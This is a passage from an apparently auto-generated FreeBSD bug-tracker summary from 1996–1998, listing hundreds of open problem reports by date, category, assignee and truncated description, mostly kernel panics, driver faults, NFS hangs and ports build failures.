madvise may may cause bad memory m o [1996/08/22] kern/1533 dyson Machine can be panicked by a userland pro o [1996/09/14] kern/1610 dyson mmap() of unassociated memory + mlock() c o [1996/09/19] bin/1650 telnet encryption with char-mode and asci o [1996/09/21] kern/1661 ft driver hangs uninterruptably at "bavai o [1996/09/29] kern/1689 wollman TCP extensions throttles distant connecti o [1996/09/29] kern/1692 Page fault while in kernel modem fatal tr o [1996/10/01] bin/1702 phk installing of tcl manpages fails from mak o [1996/10/03] kern/1715 le driver non-reentrant o [1996/10/04] kern/1723 gibbs kernel fault when doing scsi reprobe o [1996/10/04] kern/1724 gibbs HP colorado T4000S tape drive hangs syste o [1996/10/04] kern/1726 panic in kmem_malloc (dump available) o [1996/10/10] kern/1754 netbooted machines freeze with ifconfig a o [1996/10/15] kern/1812 dyson vnodes are left in a locked state o [1996/10/15] kern/1814 cy driver gets deadlocked sometimes o [1996/10/20] kern/1848 breakpoints may be set in shared librarie o [1996/10/21] kern/1856 peter read-only nfs mount: panic leaf should be a [1996/10/22] ports/1866 wosch popclient flushes remote mailbox even wit o [1996/10/26] bin/1892 install(1) removes target file o [1996/11/08] gnu/1981 ypserv handles null key incorrectly o [1996/11/13] ports/2000 asami obsolete software in distfiles directory a [1996/11/13] bin/2001 vi confused about lines to display o [1996/11/14] misc/2013 'make world' fails on read-only /usr/src a [1996/11/14] kern/2014 sos Console keyboard lockup problem o [1996/11/15] bin/2016 static libtcl references symbols that are o [1996/11/18] kern/2053 peter de0 driver don't work at 100M for Compex o [1996/11/26] bin/2107 problem building a system from cdrom. s [1996/12/03] kern/2142 FP mask not saved for signal handlers o [1996/12/03] kern/2144 kernel panic (page fault) running chgrp o [1996/12/10] bin/2191 syslogd stops logging after several hours f [1996/12/18] kern/2248 Mitsumi CD-ROM driver has "timeout" probl s [1996/12/22] ports/2268 ports libc from linux emulator does not use /et o [1996/12/22] kern/2270 Hayes ESP serial card locks system as of o [1996/12/29] bin/2318 /usr/libexec/rlogind doesn't work after t a [1996/12/30] kern/2325 quota.user enlarged, no boot on 2.2-BETA o [1996/12/30] kern/2330 changing root device to sd0a - ncr0: abor o [1997/01/07] gnu/2394 tar will extract files even if -C command o [1997/01/08] kern/2425 amd driver does not reprobe devices. o [1997/01/08] conf/2426 At end of install, panic: Going nowhere w o [1997/01/09] bin/2430 mountd stops on loading if subnet mask is o [1997/01/09] i386/2431 panic: get_pv_entry: cannot get a pv_entr o [1997/01/12] i386/2471 Sound: Reset failed - Can't reopen device o [1997/01/13] misc/2479 sos NEC CD-ROM NOT RECOGNIZED; MATROX MISTIQU o [1997/01/13] bin/2489 gnats mangles sections o [1997/01/16] kern/2507 Renaming DOS directories with "mv" causes o [1997/01/18] kern/2521 kernel from 2.1.6 install CD doesn't acce o [1997/01/20] bin/2541 cd (using /bin/sh) may leave you in the w o [1997/01/20] kern/2545 se < sd0(ncr0:6:0): COMMAND FAILED ==> Not a [1997/01/21] bin/2549 sos cdcontrol refuses to play audio CDs from f [1997/01/24] kern/2570 fenner arpresolve: cant allocate llinfo o [1997/01/25] bin/2591 sh coredumps when passing an argv of a ce o [1997/01/29] misc/2614 make reinstall does not work o [1997/01/31] bin/2633 fsck -p in /etc/rc fails with cannot allo o [1997/02/02] kern/2640 2.2-RELENG leaks memory (router/pppd serv s [1997/02/03] kern/2647 changing existing route to -static crashe o [1997/02/05] kern/2667 wollman bpfattach can hang the system o [1997/02/05] bin/2671 Run-away processes using all CPU time a [1997/02/06] kern/2675 lkmcioctl() is not consistent and careful o [1997/02/07] kern/2690 asami When Using ccd in a mirror mode, file cre o [1997/02/08] kern/2695 sio1 (16540 serial port) is not recognize o [1997/02/09] kern/2698 After rewind I cannot read a tape; blocks o [1997/02/12] kern/2719 added support for magneto-optical SCSI di o [1997/02/14] bin/2736 No boot block if no FreeBSD partitions on o [1997/02/15] kern/2742 panic: leaf should be empty o [1997/02/15] bin/2747 davidn cannot submit at jobs from within an at j o [1997/02/16] gnu/2749 peter cvs export using remote cvs fails - CVS/T o [1997/02/17] kern/2751 asami 2GB limitation on CCD device partitions s o [1997/02/18] bin/2762 Precedence mistake in libncurses o [1997/02/19] kern/2768 ktrace(1) -i dumps corrupted trace data o [1997/02/19] bin/2769 fsck needs several runs to clean up bad/d o [1997/02/19] kern/2770 panic: vm_fault: fault on nofault entry o [1997/02/19] kern/2771 panic: bad dir o [1997/02/19] kern/2773 peter bad dir panic o [1997/02/20] misc/2784 brian userland PPP rises load to 1.00 o [1997/02/20] bin/2785 wpaul callbootd uses an unitialized variable o [1997/02/20] gnu/2786 gcc version 2.7.2.1 C compiler slows down o [1997/02/21] misc/2793 libc_r make fscanf failure o [1997/02/22] kern/2800 DDS large data writing probrem o [1997/02/25] kern/2815 Custom Kernel crashes o [1997/02/28] bin/2832 w treats corrupted utmp as fatal error o [1997/03/01] kern/2840 mlock+minherit+fork+munlock causes panics o [1997/03/03] i386/2853 sos syscons beeps even if beeping screen is n o [1997/03/03] kern/2858 peter FreeBSD NFS client can't mount filesystem o [1997/03/04] kern/2873 the od0 devies does not handle a Maxoptix o [1997/03/07] bin/2915 the "-fstype ufs" option of "find" seems o [1997/03/08] kern/2919 vm_fault: fault on nofault entry, addr: f o [1997/03/11] bin/2948 can't dump 640MB optical disks o [1997/03/12] kern/2965 st0 hang/fail on reading 4mm DAT tape for o [1997/03/12] bin/2969 csh and/or builtin printf has problems wi o [1997/03/12] bin/2973 output of iostat is wrong. o [1997/03/15] kern/2991 RTF_LLINFO routes remain when interface i o [1997/03/18] kern/3021 panic after sync during reboot o [1997/03/21] kern/3054 OPL3 sound off by one note o [1997/03/21] bin/3055 umount -f does not work o [1997/03/24] i386/3083 Toshiba XM-5702B ATAPI CDROM not detected o [1997/03/27] conf/3123 /stand/sysintstall does not perform to up s [1997/03/27] bin/3126 Install with mcd0 still broken. o [1997/03/28] i386/3130 Dell Latitude keyboard lock up o [1997/03/28] misc/3133 TIOCSETD error with Cyclades 8Yo o [1997/04/01] bin/3170 vi freaks and dump core if user doesn't e f [1997/04/04] i386/3195 gibbs ahc panic o [1997/04/05] kern/3201 peter de0 not re-enabled after hub down o [1997/04/05] ports/3205 jmz Mtools-3.0 attempts to flock() a disk par f [1997/04/05] kern/3209 dyson 3.0-current panics on shutdown/reboot/hal o [1997/04/06] kern/3216 panic: pmap_zero_page: CMAP busy o [1997/04/06] kern/3219 sppp or arnet gets looped after connectio o [1997/04/09] kern/3244 ipfw flush closes connections o [1997/04/10] bin/3246 mtree -c should escape whitespace and spe o [1997/04/12] kern/3263 troubles with digiboard o [1997/04/15] bin/3305 Can't do encrypted rlogin into self o [1997/04/18] bin/3325 brian http request over ijppp hangs o [1997/04/18] kern/3327 using gdb may cause hanging processes. o [1997/04/19] bin/3355 se ncrcontrol fails when -DFAILSAFE in kerne o [1997/04/25] kern/3381 peter 2.2.x kernel panic on traversing and remo o [1997/04/25] kern/3384 telldir-seekdir can cause livelock o [1997/04/28] bin/3406 rich Fresh Internet Install - Permissions on f o [1997/05/01] gnu/3441 C++ exceptions don't work in shared libra o [1997/05/01] kern/3463 netstat -I packet count increase on sl0 w o [1997/05/02] kern/3468 Panic - page fault in kernel mode f [1997/05/02] gnu/3470 fail to use standart ANSI C++ string clas o [1997/05/03] bin/3478 pwd_mkdb and passwd o [1997/05/04] i386/3502 Merge of if_ix* and if_ie* broke EE/16 su o [1997/05/06] bin/3524 rlogin doesn't read $HOSTALIASES for non- o [1997/05/07] conf/3526 Bug in config(8) mechanism o [1997/05/07] kern/3527 peter if_de.c doesn't recognize Kingston card p o [1997/05/09] kern/3564 using MPU401 driver pagefaults kernel o [1997/05/09] kern/3569 ex0 driver doesn't work with EtherExpress o [1997/05/11] misc/3578 defining CXXFLAGS in /etc/make.conf or en o [1997/05/12] kern/3579 peter de driver doesn't support newer SMC 9332 o [1997/05/12] kern/3581 intermittent trap 12 in lockstatus() o [1997/05/12] kern/3582 panic: bad dir (mangled entry) in 2.2-STA f [1997/05/12] kern/3583 'syctl kern' dumps core when displaying c o [1997/05/13] conf/3591 parts in rc.local have no effects in rc.* s [1997/05/25] kern/3685 [PATCH] panic: fdesc attr o [1997/05/30] conf/3725 Cirrus Logic PCMCIA Controller Support o [1997/05/30] kern/3726 peter process hangs in 2.2-stable when working o [1997/05/30] kern/3727 SCSI II tape support broken o [1997/06/01] kern/3745 Use of ed0 with buff addr of C8000 causes o [1997/06/01] conf/3750 phk Potential improvements to rc.firewall f [1997/06/02] i386/3760 davidg Inlel EtherExpress pro/100B !!! o [1997/06/03] kern/3771 NFS hangs when writing to local FS re-mou o [1997/06/04] i386/3779 changing cursor to blinking block causes o [1997/06/07] conf/3807 mitsumi cd-rom fx800 (8x cd-rom) is not r o [1997/06/08] gnu/3810 cvs can't handle multiple multiple-path d f [1997/06/09] kern/3827 fopen/freopen fails on some binary files. o [1997/06/16] misc/3883 @+netgroup entries break +NIS-user entrie o [1997/06/18] kern/3899 df while unmounting floppy crashes 2.2.2 o [1997/06/19] kern/3909 joerg A patch supporting some new worm drivers o [1997/06/19] gnu/3910 sort(1) of 2.2.1R doesn't work in special o [1997/06/28] misc/3980 peter access via NFS fails during mount-operati o [1997/06/29] bin/3982 /usr/include/arpa/tftp.h has bug preventi o [1997/06/29] bin/3986 rdist seg faults when target machine is d o [1997/07/02] kern/4012 peter 2.2-RELEASE/Digital UNIX NFSv3 0 length f o [1997/07/02] misc/4013 boot floppy hangs if IDE ZIP Drive presen o [1997/07/04] kern/4032 gibbs During recovery from scsi errors, incorre o [1997/07/04] gnu/4033 peter cvs clears default branch when adding a f s [1997/07/06] gnu/4042 gdb stackframe in static library shows no o [1997/07/06] docs/4043 doc man page for directory ops is misleading o [1997/07/07] ports/4050 jfitz mrtg: rateup dumps core with malloc_optio o [1997/07/12] bin/4078 sos Typed password to log in on console and i o [1997/07/17] kern/4115 peter SunOS NFS file has wrong owner if creator o [1997/07/26] bin/4176 restore gets confused when run over pipe o [1997/07/27] ports/4178 jdp The cvsup port cannot be built on a non X o [1997/07/27] ports/4179 fenner lmbench-1.1 dumps core after asking for m o [1997/07/28] kern/4186 peter nfsiod, panic, page fault in kernel mode o [1997/07/30] kern/4194 peter kernel pci driver for Digital 21041 Ether o [1997/08/04] i386/4226 Floating point exception for double preci o [1997/08/06] kern/4240 kernel fails to recognise 2nd serial port o [1997/08/08] conf/4252 peter sendmail doesn't use smrsh by default o [1997/08/09] kern/4256 gibbs ahc driver: kernel goes to strange state o [1997/08/10] kern/4260 EOF handling in st(4) is broken o [1997/08/10] kern/4265 Panic in dsinit when multiple FreeBSD sli o [1997/08/10] kern/4270 ch driver does not use bounce buffers o [1997/08/11] bin/4276 Security problem with DNS resolution o [1997/08/12] kern/4284 le0 goes OACTIVE after some time o [1997/08/13] kern/4295 SL/IP difficulties between 2.2.1 & 2.2.2 o [1997/08/16] kern/4312 arp table gets messed up, syslog "gateway o [1997/08/17] kern/4327 NFS over TCP reconnect problem s [1997/08/19] kern/4338 New device driver (Cyclades Cyclom-Z) o [1997/08/21] bin/4353 fetch -m changes modified date o [1997/08/22] bin/4357 wosch bug in adduser script causes duplicate UI o [1997/08/23] bin/4366 bad144 crashes if checking over 2gb o [1997/08/25] docs/4381 mount -t msdos causes panic:vm_fault o [1997/08/25] kern/4382 CURRENT kernel has a "free vnode isn't" p o [1997/08/27] ports/4405 jfitz ascend-radius port is out-of-date o [1997/09/02] kern/4454 X drops characters/locks up keyboard when o [1997/09/03] bin/4460 lpd hangs exiting (IE in ps table) o [1997/09/06] bin/4476 fetch puzzled while getting files when ma o [1997/09/07] kern/4487 Kernel panic executing a directory o [1997/09/08] bin/4497 Reverse DNS fails for some CIDR *.IN-ADDR o [1997/09/09] kern/4505 Support for Gravis UltraSound PnP card o [1997/09/10] kern/4508 peter nfs3 data integrity problems o [1997/09/11] kern/4513 System lockup appears to be VM related. o [1997/09/14] i386/4533 Server with Cyclom-Y PCI card rebooted at o [1997/09/14] kern/4544 Linux emulator problems when MAXDSIZ is i a [1997/09/18] bin/4568 simple /bin/sh script produces wrong resu o [1997/09/19] bin/4582 integer overflow in 'sa -km' o [1997/09/19] bin/4585 termcap search fails too early o [1997/09/20] kern/4588 peter NFS access locks up o [1997/09/21] bin/4599 mktemp is too smart, accesses the path gi o [1997/09/21] kern/4600 peter nfs lookups might give incorrect result o [1997/09/26] conf/4634 peter Sendmail Problem o [1997/09/27] bin/4638 telnet tries to resolve numerical IP addr o [1997/09/29] kern/4657 faulting to probe DSI modem in LoadSoftMo o [1997/09/30] kern/4663 checkalias panic o [1997/10/01] kern/4666 dfr umount -f doesn't seem to work o [1997/10/01] bin/4672 rdist does not do hard links right when t o [1997/10/03] bin/4683 restore doesn't correctly handle "sparse" o [1997/10/05] docs/4691 no documentation for mk_cmds(1) o [1997/10/14] kern/4768 netatalk won't start with multicast error o [1997/10/15] kern/4772 ATAPI CD (bootable) causes kernel panic o [1997/10/16] ports/4773 torstenb Error in posting news items to INN server o [1997/10/16] kern/4774 trying to use IBCS2 shared libraries cras o [1997/10/16] kern/4776 netatalk broken in 2.2-STABLE o [1997/10/16] kern/4782 Under certain conditions, several krsh's o [1997/10/18] bin/4795 glitch in /bin/sh cd command o [1997/10/18] docs/4797 confusion in worm(4) manpage o [1997/10/18] ports/4798 jmz setuid-root Xserver problem o [1997/10/19] ports/4803 ports xgrabsc dies with "bus error" after selec o [1997/10/19] misc/4804 < periodic does not build locate database o [1997/10/24] kern/4843 48 meg double fault moved to 64 meg in 2. o [1997/10/25] bin/4850 peter Named crashes with "rm_datum: DB_F_ACTIVE o [1997/10/26] kern/4859 SMP kernel panics with timeout table full o [1997/10/27] ports/4865 ports xdm doesn't set env variables o [1997/10/28] bin/4884 the version of amd in 2.2.5-RELEASE appea o [1997/10/31] bin/4907 Oct 33* Daylight Savings Time ends; clock o [1997/10/31] kern/4909 de ethernet driver is crazy on 100base o [1997/11/01] bin/4913 peter Large mail messages can cause mail.local o [1997/11/01] bin/4917 Bad parameters to ifconfig cause kernel p o [1997/11/03] kern/4927 kernel does not check any quota and permi o [1997/11/03] misc/4931 Keyboard lockup during floppy install o [1997/11/04] bin/4939 uuxqt unable to execute rnews program o [1997/11/05] kern/4945 continued failure to use the Adaptec 1460 o [1997/11/05] bin/4949 rpc.rquotad stat()s fs with quota file in o [1997/11/05] i386/4950 no multicast support for zp - 3c589 o [1997/11/06] kern/4956 Machine boots when mounting /dev/sd0[ac] o [1997/11/09] kern/4990 peter NFS hangs under FastEthernet. 1024 Bytes o [1997/11/10] bin/4998 peter mail and more do not work well with being o [1997/11/10] misc/5001 During installation sc0 device is require o [1997/11/10] misc/5005 f2c is buggy and seriously outdated (agai o [1997/11/11] bin/5008 libc_r not working at static linking o [1997/11/13] misc/5032 something strange o [1997/11/15] conf/5062 login.access not evaluated correctly o [1997/11/18] bin/5084 wrong "term" for internal shell o [1997/11/18] kern/5085 System crash during mount command for CD f [1997/11/20] kern/5102 steve freebsd NFS client with obscure mount opt o [1997/11/20] bin/5105 mount_cd9660 or mount -t cd9660 fails to o [1997/11/20] misc/5107 rebuilding of whatis database does not ca o [1997/11/22] gnu/5126 C++ compiler bug (assembly output) o [1997/11/23] i386/5128 Adaptec 2940U Timeouts with QUANTUM disk o [1997/11/30] i386/5183 The ATAPI I/O is blocked. o [1997/12/02] bin/5189 rcmd(3) only allows one hardcoded connect o [1997/12/02] conf/5191 fsck during boot fails due to lack of res s [1997/12/03] misc/5207 Examples for /etc are not in /usr/share/e o [1997/12/06] kern/5244 F00F workaround dosn't always work on SMP o [1997/12/11] i386/5277 se installation panic o [1997/12/13] kern/5285 quotas do not work properly with setuid p o [1997/12/14] kern/5294 net.inet.icmp.bmcastecho doesn't work s [1997/12/14] bin/5297 make incompatibility with System V style o [1997/12/19] misc/5343 booteasy problem o [1997/12/19] kern/5347 peter DEC (de0) ethernet card has no buffers af a [1997/12/21] docs/5358 doc USWC write posting must be turned off on o [1997/12/30] kern/5396 fdesc fs crashes system o [1997/12/31] i386/5401 peter de0 selects wrong media when reconnected o [1998/01/03] bin/5422 brian Userland PPP with aliasing enabled and mr f [1998/01/08] kern/5456 After writing more than 100MB to SCSI Exa s [1998/01/15] bin/5497 [PATCH] Rbootd cannot boot my hp9000s340 f [1998/01/15] misc/5499 when setting up the partition for free bs o [1998/01/15] bin/5500 "invalid hostname" is logged instead of I o [1998/01/16] kern/5513 luigi new PnP code is BAD (soundcards) f [1998/01/19] kern/5521 ls -l output not complete s [1998/01/19] kern/5522 [PATCH] ip_input.c & ip_output.c problems o [1998/01/20] ports/5530 asami fetch (in make fetch stage) do not use pa o [1998/01/22] bin/5548 syslogd core dumps when signaled o [1998/01/22] misc/5552 RE: Linux append=reboot=bios parameter im o [1998/01/26] misc/5574 bootpd gets timezone incorrectly o [1998/01/27] kern/5587 session id gets dropped o [1998/01/29] kern/5598 Support for magneto-optic SCSI devices wi s [1998/01/30] bin/5604 setenv(3) function has memory leak, other o [1998/01/30] kern/5606 Kernel Panic running Linux Binary without o [1998/01/31] kern/5611 bind does not check sockaddr->sin_family o [1998/02/01] kern/5618 kernel memory leak in routetbl. o [1998/02/01] kern/5624 dumping to tape causes scsi bus reset o [1998/02/04] kern/5643 NCR 810/815 do not handle rewind correctl o [1998/02/04] bin/5658 ping -R includes DNS delays in RTT o [1998/02/05] bin/5661 /sbin/dump never finishes o [1998/02/06] bin/5669 rarpd is seriously broken o [1998/02/06] misc/5673 2.2-980204-SNAP installer runs out of dis o [1998/02/09] bin/5693 groff -mm or groff -mmm ??? o [1998/02/10] i386/5698 LPIP causes spurious reboots o [1998/02/11] misc/5722 Brazil can't decide on daylight savings o [1998/02/12] kern/5728 peter NFS hangs o [1998/02/12] kern/5731 peter executables wedge on "vmopar" when built o [1998/02/12] bin/5733 cp -r cannot copy un-writable directories o [1998/02/15] i386/5760 3.0-CURRENT freezes at mount root stage o o [1998/02/17] gnu/5767 man leaves partially formatted cat pages f [1998/02/17] ports/5770 asami PKG_NAME on ports japanese/expect is *NO o [1998/02/19] kern/5794 Kernel Panic o [1998/02/23] ports/5825 ports cd-write 1.4 fails to read tracks. o [1998/02/23] kern/5827 kernel panics in current (3.0) o [1998/02/24] kern/5839 vm_page_unwire: invalid wire count: 0 o [1998/02/25] docs/5842 description of -c and -o conn in mount_nf o [1998/02/25] bin/5845 in sh, set -- `getopt ...` always returns o [1998/02/25] ports/5850 me xemacs-20.3 contains bad send-pr o [1998/02/25] misc/5852 Page fault or error caused by writing to o [1998/02/25] bin/5854 host -l MX or NS core dumps o [1998/02/27] bin/5867 peter pppd or FreeBSD ? o [1998/02/28] kern/5877 sb_cc counts control data as well as data o [1998/03/01] kern/5890 peter NFS server Side say NFSERR_BAD_COOKIE (rm o [1998/03/01] kern/5893 Recursive locking attempts on vp->v_inter o [1998/03/01] kern/5896 FreeBSD host can't network-write to other o [1998/03/02] kern/5904 panic: newfs o [1998/03/03] bin/5907 VIDCONTROL VGA_80x60 resets PC completely o [1998/03/03] ports/5908 ports atalkd won't come up o [1998/03/04] ports/5921 ports The developer(s) changed the tarball, mod o [1998/03/06] ports/5933 ports emacsserver (19.34b) hostname in /tmp/ese o [1998/03/09] bin/5959 Cannot set up clocal gettys o [1998/03/09] ports/5960 ports Added printer device o [1998/03/09] bin/5961 dup2 wrapper in libc_r is incomplete o [1998/03/10] kern/5965 FreeBSD TCP/IP connectivity get buried by o [1998/03/10] kern/5969 non-root user can reboot/lock up system o [1998/03/10] ports/5970 ports psmisc ports uploaded to freebsd.org:/pub o [1998/03/10] kern/5974 -current VM oddities o [1998/03/11] kern/5975 can't boot freebsd: fatal trap12: page fa o [1998/03/11] kern/5979 julian sd.c doesn't validate all mode sense 4 va o [1998/03/12] kern/5991 panic: free vnode isn't o [1998/03/14] conf/6002 peter /etc/mail/sendmail.cf.addtions seems to l o [1998/03/14] bin/6004 cron in -CURRENT sometimes fails to proce o [1998/03/14] bin/6005 -CURRENT cron dies after short periods of o [1998/03/16] kern/6035 The system "sort-of" hangs when playing b o [1998/03/18] kern/6059 Packets from 1.1.1.1 can crash 2.2 server o [1998/03/19] kern/6066 lnc driver does not work correctly with A o [1998/03/19] bin/6071 2.2.6-980315-BETA up grade option problem o [1998/03/20] bin/6074 Incremental dumps are backing up unchange o [1998/03/21] bin/6087 sh doesn't work properly on certain confi o [1998/03/22] kern/6099 LPIP to slow machine causes hang o [1998/03/22] kern/6103 panic: ffs_valloc: dup alloc o [1998/03/23] kern/6116 In system with wd0, wd2, kernel cannot fi o [1998/03/28] bin/6162 kinit does not default to the current use o [1998/03/30] misc/6173 No usable norwegian keycap entry for PCVT o [1998/03/30] ports/6180 max youbin port has root-exploitable security o [1998/04/01] kern/6191 SCSI driver error o [1998/04/02] ports/6195 msmith wrong font path in vncserver o [1998/04/02] kern/6197 3com905 Seriously broken o [1998/04/03] kern/6201 bde 2.2.6 kernel can't find sio[12] on Iwill o [1998/04/03] kern/6203 kernel panics with "blkfree: freeing free o [1998/04/03] conf/6205 NFS/NIS freak out o [1998/04/04] kern/6212 Two bugs with MFS filesystems fixed, one o [1998/04/04] bin/6216 syslog breaks then everything else slows o [1998/04/07] kern/6238 luigi Sound-driver patch for MAD16 (OPTi 928,92 o [1998/04/07] kern/6242 vnode disk driver too unstable in -STABLE o [1998/04/08] kern/6251 peter ktrace very broken when logging over NFS o [1998/04/08] kern/6252 ide cdrom hangs system when on same bus a o [1998/04/09] kern/6253 Atapi wait for command phase too short. o [1998/04/10] kern/6267 dyson panic: pmap_dispose_proc: upage already m o [1998/04/11] kern/6277 mouse operation weird in -current o [1998/04/13] ports/6288 se KDE port glitches o [1998/04/14] kern/6300 System locks up in SMP mode when accessin f [1998/04/15] misc/6310 des explicit cast needed in floatpoint.h for o [1998/04/16] bin/6317 with -8E flags telnet still goes to comma o [1998/04/17] kern/6336 peter NFSv3 should support files >2GB, but does o [1998/04/17] misc/6340 missing the terminfo, which causes librar o [1998/04/18] kern/6344 cy driver is outdated o [1998/04/19] kern/6351 DPT RAID controller stops working under h s [1998/04/19] bin/6353 How about upgrading from amd to am-utils? o [1998/04/20] i386/6368 Stallion Easyio 8 port not detected using o [1998/04/21] ports/6380 ports gcc-2.8.1 port does not create shared lib f [1998/04/21] ports/6381 jmacd does not compile on -current; does not in o [1998/04/22] bin/6383 csh - when ctrl-d is pressed, file is chm o [1998/04/25] kern/6412 peter NFS sends packets from the wrong interfac o [1998/04/26] kern/6422 peter Fix for de Driver (kern/4841, kern/5205 a o [1998/04/26] ports/6426 ports ports/graphics/jpeg doesn't build o [1998/04/27] ports/6430 jseger trafshow 2.0 (port) can't be compiled s [1998/04/28] docs/6444 doc Micron system hanging a [1998/04/30] kern/6471 jkh 2.2.6 install process causes kernel panic o [1998/04/30] misc/6472 jb [PATCH] _thread_flockfile() hangs process a [1998/05/01] kern/6481 se Patches for VIA Socket 7 chipsets o [1998/05/02] ports/6484 ports xemacs hangs o [1998/05/03] kern/6506 system will not soft reboot f [1998/05/05] kern/6525 Coral-Draw 5 CD crashes 2.2.6-STABLE a [1998/05/06] bin/6536 pppd doesn't restore drainwait for tty s [1998/05/06] bin/6539 [PATCH] bmake version of perl5 available o [1998/05/07] misc/6549 root You dont always get notified when someone o [1998/05/08] bin/6557 /bin/sh is broken o [1998/05/10] kern/6574 ipfw crash with DIAGANOSTICS o [1998/05/10] kern/6575 eisa0:1 (adaptec 2842) .... attach failed o [1998/05/10] bin/6577 /bin/sh environment variables not set in o [1998/05/10] i386/6578 Problem with tx driver on 100Mbps o [1998/05/11] kern/6587 SMP idle cpl breaks signal forwarding o [1998/05/11] ports/6590 ports gtk port fails dues to sys_errlist/sys_si o [1998/05/11] ports/6591 ports KDE starts /usr/bin/kzip instead of /usr/ 408 problems total. Non-critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [1995/01/14] bin/115 systat iostat display doesn't scale high s [1995/05/13] bin/401 Add REMOTE_* variables s [1995/05/23] i386/440 want vidcontrol option to apply settings a [1995/05/27] gnu/450 scrappy tar --exclude -c doesn't work s [1995/06/15] bin/517 Bad group change with 'install' o [1995/07/09] misc/605 wpaul NIS: get*bynis routine problems s [1995/08/05] gnu/655 ld -r of shared objects worked in 1.1.5, s [1995/08/07] bin/658 ifconfig alias has to be separately given s [1995/09/26] kern/742 syslog errors accessing Mac hard disks [p s [1995/10/03] kern/765 umount -f can`t umount a NFS filesystem i s [1995/11/20] kern/831 one minor complaint about the kernel visu s [1995/11/27] bin/841 stale nfs mounts cannot be umounted o [1995/11/30] bin/854 dyson swapinfo shows incorrect information for o [1995/12/17] kern/900 dyson ext2fs triggers divide by zero trap in vn s [1996/01/21] bin/961 'more $file', incorrect CRLF compacting. s [1996/01/28] kern/975 getrusage returns negative deltas a [1996/01/30] bin/981 fenner clnt_broadcast() is not aware of aliases s [1996/02/07] bin/999 /usr/share/mk/sys.mk missing common $(RM) o [1996/02/12] bin/1021 phk pppd doesn't handle PAP-only authenticati o [1996/02/25] i386/1042 bde Warning from sio driver reports wrong dev s [1996/03/20] kern/1090 iostat displays incorrect sps count s [1996/03/20] bin/1093 route's diagnostic is weird o [1996/04/06] kern/1119 dyson Mounted EXT2FS partition is not cleanly u o [1996/05/15] bin/1206 cracauer /bin/sh + emacs + ^G = ruined terminal s [1996/06/11] bin/1312 automounter hangs on boot s [1996/06/13] bin/1320 dump limits blocksize to 32K o [1996/06/18] i386/1331 phk changes and bug in ft driver s [1996/07/07] bin/1375 jraynard Extraneous warning from mv(1) [PATCH] o [1996/07/21] ports/1416 ports cflow(1) doesn't parse GNU C __attribute_ f [1996/07/24] misc/1428 ncurses doesn't always display ALTCHARSET a [1996/08/07] ports/1470 asami need more info in the ports structure o [1996/08/17] kern/1501 vmstat reports impossible avm after start o [1996/08/17] bin/1502 vmstat 'avm' field merges with procs 'w' o [1996/08/17] kern/1508 sos syscons should protect against useless DD o [1996/08/19] kern/1514 dyson mlock fails on readonly regions o [1996/08/20] kern/1516 dyson vm_fault.c contains dead code or too many o [1996/08/21] ports/1520 erich sudo dosn't recognise certain passwords a o [1996/08/21] bin/1523 "cvs update -d -P" prunes unchecked-in di o [1996/08/24] misc/1538 enhanced /etc/security script a [1996/09/04] bin/1565 Moving a file to it's link completely rem o [1996/09/06] bin/1577 peter mail -f foo does not look in current dire o [1996/09/08] bin/1589 ftp fails to flush output o [1996/09/11] bin/1598 tip leaves OPOST set on controlling termi o [1996/09/14] gnu/1611 phk groff should use "system-wide" papersize o [1996/09/14] kern/1614 Attempt to mount an NTFS partition causes a [1996/09/18] bin/1642 pkg_install Makefiles could be simplified o [1996/09/19] kern/1654 In procfs, vattr doesn't contain correct o [1996/09/20] kern/1658 ktrace/kdump flaky - corrupted ktrace.out o [1996/09/23] i386/1671 s2 map in pcvt isn't ISO 8859-1 and claim o [1996/09/29] kern/1690 apm and sbxvi inappropriately probe as co o [1996/09/29] docs/1691 doc ppp server doc submission o [1996/10/02] kern/1711 joerg kernel logging of signaled processes shou o [1996/10/04] kern/1725 visual config redraws bits of the screen o [1996/10/11] conf/1777 sysctl called in /etc/netstart before /us s [1996/10/13] kern/1788 wollman netstat gives negative numbers for tcp by o [1996/10/13] misc/1791 syslimits.h does not allow overriding def o [1996/10/14] bin/1804 pkg_create hangs if the packing list has o [1996/10/20] bin/1849 gdb sets library breakpoints on the wrong o [1996/10/20] misc/1853 Syscons font mapping semms not to work pr o [1996/10/20] docs/1855 joerg Addition to LINT o [1996/10/23] bin/1872 automounter (amd) cannot ls directories w s [1996/10/24] bin/1881 file(1) misidentifies Sun3/m68k executabl o [1996/10/27] bin/1904 /usr/bin/su is not careful enough in veri f [1996/10/30] i386/1931 Mitsumi CDrom works well under 2.1.x, fai o [1996/11/01] bin/1941 wtmp and monthly rotation o [1996/11/01] bin/1943 route(8) args s [1996/11/02] bin/1945 Out of date code/comments in dd o [1996/11/04] i386/1953 sos syscons savers have no default timeout o [1996/11/04] gnu/1961 uucp logging files are in /var/spool/uucp o [1996/11/06] bin/1970 csh limtail() bug o [1996/11/09] bin/1985 pkg_delete outputs confusing message when o [1996/11/13] bin/2005 Poor command line argument checking and b o [1996/11/15] kern/2022 Switching from X display to virtual conso o [1996/11/16] bin/2036 cpio size wraparound o [1996/11/19] bin/2061 DEBUG_FLAGS in bsd.lib.mk is broken o [1996/11/19] misc/2068 Unstable keyboard mappings on the main tt o [1996/11/22] docs/2087 ifconfig.8 does not document how to remov o [1996/11/22] bin/2090 clients may bind to FreeBSD ypserv refusi o [1996/11/25] misc/2105 jmg bsd.lib.mk has problems with STRIP and IN o [1996/11/26] i386/2108 sos [ATAPI] wcd driver may hang under certain o [1996/11/28] kern/2118 sos writing to virtual consoles fails to disp o [1996/11/28] bin/2119 mount lies to child about argv0, which ca o [1996/12/01] bin/2133 netstat -s overflows to negative o [1996/12/02] bin/2137 vm statistics are bad o [1996/12/02] kern/2140 FreeBSD leaves EtherExpress 16 net card i o [1996/12/03] conf/2146 brian wrong /dev for COM2 during installation v o [1996/12/07] ports/2169 pst zephyr port disagrees with Kerberos causi o [1996/12/08] bin/2184 peter sendmail has lots of trouble with local d a [1996/12/10] ports/2190 asami need cross-reference to xpdf from X11 por o [1996/12/12] kern/2199 joerg Got a lots of "Target Busy" messages with o [1996/12/14] kern/2214 File System gets corrupted when mounting o [1996/12/14] bin/2216 Ada specs not being compiled into cc/gcc o [1996/12/16] bin/2227 FreeBSD does not recognize WD7000-ASC dri o [1996/12/17] i386/2234 fbsdboot.exe does not turn off floppy dri o [1996/12/17] i386/2239 jmg some interrupts take too long (i.e. BT946 o [1996/12/18] misc/2242 Suggest add optional mt blocksize 512 a [1996/12/21] bin/2265 guido su(1) does not call skeyaccess() o 